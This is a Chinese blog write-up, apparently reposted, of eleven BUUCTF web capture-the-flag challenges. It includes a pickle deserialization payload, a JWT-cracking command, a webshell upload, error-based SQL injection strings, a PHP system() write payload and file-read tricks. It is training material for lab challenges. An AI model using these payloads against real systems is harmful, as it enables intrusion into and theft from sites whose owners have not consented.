BUUCTF刷题十一道(07)

news2024/11/16 17:33:20

文章目录

  • [Zer0pts2020]Can you guess it?
  • [CISCN2019 华北赛区 Day1 Web2]ikun
  • [GWCTF 2019]枯燥的抽奖
  • [WUSTCTF2020]CV Maker
  • [NCTF2019]True XML cookbook
  • [RCTF2015]EasySQL
  • [CISCN2019 华北赛区 Day1 Web1]Dropbox
  • [CISCN2019 华北赛区 Day1 Web5]CyberPunk
  • [红明谷CTF 2021]write_shell
  • [watevrCTF-2019]Cookie Store
  • [网鼎杯 2020 白虎组]PicDown

[Zer0pts2020]Can you guess it?

参考博客

在这里插入图片描述
界面源码没有东西,点Source看看

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>

preg_match正则匹配,结尾用不可见字符绕过

要从config.phpflag$_SERVER['PHP_SELF']表示的就是当前访问的php页面

当我们传入index.php/config.php时,仍然请求的是index.php,但是当basename()处理后,highlight_file()得到的参数就变成了config.php,从而我们就实现了任意文件包含。

/index.php/config.php/啊?source

====================================================

[CISCN2019 华北赛区 Day1 Web2]ikun

CISCN2019 华北赛区 Day1 Web2ikun

先找有’lv6.png’的页面,查源码可以看到图片的命名方式

import requests

url="http://e2a346a8-9df8-4038-9c92-2bdb2a343420.node4.buuoj.cn:81/shop?page=";

for i in range(0,1000):
    res=requests.get(url+str(i))

    if('lv6.png' in res.text):
        print("findstr"+str(i))
        break

#findstr180

购买lv6并加入折扣
在这里插入图片描述
有页面跳转,访问之

在这里插入图片描述
在cookie中发现jwt,尝试进行爆破、伪造

jwt-cracker

jwtcracker eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjExMSJ9.5hqClCrHxXTMD2pR9wgK4Kjt8Quuy1puPM4MamgHLOg

在这里插入图片描述
网站https://jwt.io/进行修改放包

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
Admin.py中有反序列化内容

在这里插入图片描述
在这里插入图片描述

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

生成

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

点击b1g_m4mber中的一键成为大会员,将admin改为上述值即可

[GWCTF 2019]枯燥的抽奖

https://blog.csdn.net/qq_61778128/article/details/127113502
https://www.cnblogs.com/Article-kelp/p/16046948.html

发现数据传到check.php,访问发现源码,考察伪随机数
需要根据已经有的前半部分字符串,利用php_mt_seed跑出伪随机数种子,再生成这个完整的字符串

<?php
error_reporting(0);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$string='NTxNCNzpql';
$len1=10;
for ( $i = 0; $i < $len1; $i++ ){
$pos=strpos($str_long1,$string[$i]);
    echo $pos." ".$pos." 0 61 " ;  
}
?>
49 49 0 61 55 55 0 61 23 23 0 61 49 49 0 61 38 38 0 61 49 49 0 61 25 25 0 61 15 15 0 61 16 16 0 61 11 11 0 61

linux下用php_mt_seed-main工具,先make

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

[WUSTCTF2020]CV Maker

注册账号,然后登陆
在这里插入图片描述
上传图片,抓包,改后缀,加一句话
在这里插入图片描述
找到路径
在这里插入图片描述
打开,连shell,根目录下找flag
在这里插入图片描述
在这里插入图片描述

[NCTF2019]True XML cookbook

[RCTF2015]EasySQL

二次注入,登录处注入没用,选文章那尝试了文件包含没用

在这里插入图片描述
有改密码功能,所以能显示,尝试二次
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
双引号闭合,故构造语句(有空格过滤)
aaa“||updatexml(1,concat(0x7e,database(),0x7e),1)#

在这里插入图片描述
在这里插入图片描述
查一下表名
aaa"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#

在这里插入图片描述
aaa"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1)#

在这里插入图片描述
aaa"||updatexml(1,concat(0x7e,(select(flag)from(web_sqli.flag)),0x7e),1)#
在这里插入图片描述
看看users表有无flag
aaa"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1)#
在这里插入图片描述
盲猜没显示全,right、left不能用,换regexp()
aaa"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r')),0x7e),1)#
在这里插入图片描述

查一下flag
aaa"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1)#
在这里插入图片描述
一堆杂结果,正则匹配内容
aaa"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^flag')),0x7e),1)#

在这里插入图片描述
aaa"||updatexml(1,concat(0x7e,(reverse(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('9578'))),0x7e),1)#
在这里插入图片描述
在这里插入图片描述
flag{d9887829-d110-4cec-9578-970715946271}

[CISCN2019 华北赛区 Day1 Web1]Dropbox

参考博客

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

index.php查看源码有文件包含?file=xxxx

伪协议读源码

change.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

对username有过滤,但是对address没有过滤,在confirm中对地址没有过滤便进行插入
"' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,32)),0x7e),1)#
在这里插入图片描述
"' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,32)),0x7e),1)#

[红明谷CTF 2021]write_shell

代码审计发现是向某个随机生成的目录index.php写内容,先action=pwd获取自己的目录
在这里插入图片描述
然后尝试短标签<=system("ls")>
在这里插入图片描述
空格%09绕过查看根目录?action=upload&data=<?=system("ls%09/")?>
在这里插入图片描述
查flag
在这里插入图片描述

[watevrCTF-2019]Cookie Store

f12 network发现有一个302跳转buy页面,直接访问无果

在这里插入图片描述

抓包发现302重设了cookie
在这里插入图片描述
base64解码看到json字符串
在这里插入图片描述
尝试改金额放到cookie里
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

[网鼎杯 2020 白虎组]PicDown

文件包含任意文件下载
在这里插入图片描述
在这里插入图片描述
尝试/etc/passwd下载到beautiful.jpg里
尝试php://filter伪协议读源码无果
直接尝试/flag下载

看别的师傅的wp发现这道题本意并非如此
参考博客

/proc/self/cmdline 获取进程启动命令
在这里插入图片描述
读/proc/self/cwd/app.py也就是当前运行程序环境下的app.py


from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

需要知道密钥,然后可以执行系统命令
密钥从/proc/self/fd/{id}中找在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/670984.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

防汛四级应急响应启动,尾矿库如何安全度过汛期?

国家防总办公室向上海、江苏、浙江、安徽、江西、河南、湖北、湖南、广西、重庆、四川、贵州、云南等省份防指下发通知&#xff0c;要求全面压实以地方行政首长负责制为核心的各项防汛责任&#xff0c;加强精准监测预报和会商研判&#xff0c;落实好“叫应”机制&#xff0c;确…

我把一句话需求交给AI,它竟然给我返回了……

&#x1f449;腾小云导读 也许你经历过这种情况&#xff1a;产品和设计同学用一句话就把需求说完了&#xff0c;你抓破脑袋做出来的版本又达不到他们的要求。不如尝试让 AI 承担痛苦&#xff0c;让它理解、拆解并实现一句话需求&#xff1f;本篇作者尝试提出一个自动配置可视化…

踩坑:Vue3 中的watch监视属性

文章目录 一、问题一&#xff1a;reactive 定义的响应式数据无 oldValue问题分析解决 二、问题二&#xff1a;watch默认开启了深度监视且无法关闭问题分析解决 一、问题一&#xff1a;reactive 定义的响应式数据无 oldValue 问题 监视 reactive 所定义的一个响应式数据&#…

linux安装git步骤;基于yum、dnf、源码安装【非常详细】

这里写目录标题 一 dnf安装二 yum安装三 源码安装1 基于 RPM 的发行版&#xff08;Fedora/RHEL/RHEL衍生版&#xff09;2 基于 Debian 的发行版&#xff08;Debian/Ubuntu/Ubuntu-derivatives&#xff09;3 yum软件包管理器来安装&#xff0c;这个一般是CnetOS Stream 8以前的版…

POLARDB IMCI 白皮书 云原生HTAP 数据库系统 一 与其他的商业数据库在HTAP的异同点(译)...

开头还是介绍一下群&#xff0c;如果感兴趣polardb ,mongodb ,mysql ,postgresql ,redis 等有问题&#xff0c;有需求都可以加群群内有各大数据库行业大咖&#xff0c;CTO&#xff0c;可以解决你的问题。加群请联系 liuaustin3 &#xff0c;在新加的朋友会分到2群&#xff08;共…

​关于 O2OA (翱途) 软件商用许可证授权形式的调整​

尊敬的小伙伴们&#xff1a; 非常感谢您对 O2OA 开发平台的关注与支持&#xff01; 兰德网络 O2OA 平台软件商用许证授权形式正式由 “按年授权” 改为 “按版本买断” 的永久许可形式。 这意味着&#xff0c;合作伙伴在持有特定版本的软件商用许可后&#xff0c;将能够永久…

《Python精选300题》

专栏简介 Python 是一门功能强大的编程语言&#xff0c;已经成为了数据科学、机器学习、Web 开发等领域的首选语言之一。因此&#xff0c;掌握 Python 的相关知识点对于学习和使用这门语言至关重要。 本专栏中&#xff0c;精选了 300 道题目&#xff0c;囊括了 Python 入门阶段…

什么是链表?

链表 什么是链表&#xff1f; 链表是有序的数据结构&#xff0c;链表中的每个部分称为节点。可以首、尾、中间进行数据存取&#xff0c;链表的元素在内存中不必是连续的空间&#xff0c;每个节点通过 next 指针指向下一个节点。 优点 链表的添加和删除不会导致其余元素位移。…

java中synchronized和ReentrantLock的加锁和解锁能在不同线程吗?如果能,如何实现?

java中synchronized和ReentrantLock的加锁和解锁能在不同线程吗&#xff1f;如果能&#xff0c;如何实现&#xff1f; 答案2023-06-21&#xff1a; java的&#xff1a; 这个问题&#xff0c;我问了一些人&#xff0c;部分人是回答得有问题的。synchronized这是个关键字&…

23---WPF数据库ORM框架

一、仓库--存放货物---数据库--存放数据--关系型数据/非关系型数据库 1.关系型数据:保存数据保存关系--SqlServer&#xff0c;MySql&#xff0c;Oracle 2.非关系型数据&#xff1a;保存数据---Redis,Mongo,Memecahe 二、关系型数据和非关系型数据的区别&#xff1a; 1.关系…

高效底座模型LLaMA

论文标题&#xff1a;LLaMA: Open and Efficient Foundation Language Models 论文链接&#xff1a;https://arxiv.org/abs/2302.13971 论文来源&#xff1a;Meta AI 一、概述 大型语言模型&#xff08;Large Languages Models&#xff0c;LLMs&#xff09;通过大规模文本数据的…

Selenium 环境配置

如果你做过 Web 测试的工作&#xff0c;那么你应该明白 Web 测试中最重要的一部分工作就是自动化测试。自动化测试&#xff0c;顾名思义就是让浏览器自动运行&#xff0c;而无需手动操作。这和我们爬虫工作原理有些相似&#xff0c;我们爬虫也需要让浏览器运行网址来获取我们需…

HTTPS加密

目录 HTTPS加密1.加密和解密2.对称加密3.非对称加密4.中间人攻击5.证书 HTTPS加密 1.加密和解密 1.明文: 要传递的原始信息。 2.密文: 经过加密后的信息。 3.加密就是指将明文&#xff08;要传输的信息&#xff09;按照指定的方式进行变换&#xff0c;生成密文。 4.解密…

Pytest+selenium+allure+Jenkins自动化测试框架搭建及使用

一、 环境搭建 1. Python下载及安装 Python可应用于多平台包括windows, Linux 和 Mac OS X, 本文主要介绍windows环境下。你可以通过终端窗口输入 "python" 命令来查看本地是否已经安装Python以及Python的安装版本。 如未安装python, 推荐下载python 3.8.3以…

Android——事务处理(续)(十三)

1. 长按事件 1.1 知识点 &#xff08;1&#xff09;掌握长按事件的操作形式&#xff1b; &#xff08;2&#xff09;可以设置手机的桌面背景&#xff1b; 1.2 具体内容 范例&#xff1a;长按一张图片之后&#xff0c;此图片设置为手机桌面背景。 <LinearLayout xmlns:a…

LocalDateTime 和 LocalDate 与 date 有什么区别;LocalDateTime 示例,LocalDate 示例

目录 1 LocalDateTime 和 LocalDate 与 date 有什么区别2 LocalDateTime 示例&#xff1a;2 LocalDate 示例&#xff1a; 1 LocalDateTime 和 LocalDate 与 date 有什么区别 LocalDateTime、LocalDate和Date是 Java中不同的类库中用于表示日期和时间的类&#xff0c; 它们在功…

「Java核心技术大会 2023」6月重磅启动,邀你共同探讨Java生态

前言 &#x1f4d5;作者简介&#xff1a;热爱跑步的恒川&#xff0c;致力于C/C、Java、Python等多编程语言&#xff0c;热爱跑步&#xff0c;喜爱音乐的一位博主。 &#x1f4d7;本文收录于恒川的日常汇报系列&#xff0c;大家有兴趣的可以看一看 &#x1f4d8;相关专栏C语言初…

《机器学习公式推导与代码实现》chapter13-LightGBM

《机器学习公式推导与代码实现》学习笔记&#xff0c;记录一下自己的学习过程&#xff0c;详细的内容请大家购买作者的书籍查阅。 LightGBM 就GBDT系列算法的性能而言&#xff0c;XGBoost已经非常高效了&#xff0c;但并非没有缺陷。LightGBM就是一种针对XGBoost缺陷的改进版…

【C++11】 列表初始化 auto 范围for 新增关键字 新增容器

文章目录 1 列表初始化2 auto && 范围for3 新增关键字3.1 decltype3.2 default3.3 delete3.4 final与override 4 总结 1 列表初始化 由c语言的规则我们知道&#xff1a;一般只有数组才会支持用{}初始化&#xff0c;但是C11新语法规定我们不仅可以用{}初始化各种对象(内…

企业微信 创建应用后如何构造网页授权 获取token 获取用户信息

第一次对接企业微信&#xff0c;上网找了各种方案。 目的是在企业微信中&#xff0c;公司发给员工一个地址&#xff0c;员工点开后打开画面&#xff0c;在这个画面上可以获取到这个员工的userid&#xff08;后续功能操作就是各自不同的功能了哈&#xff0c;就不详细说了&#…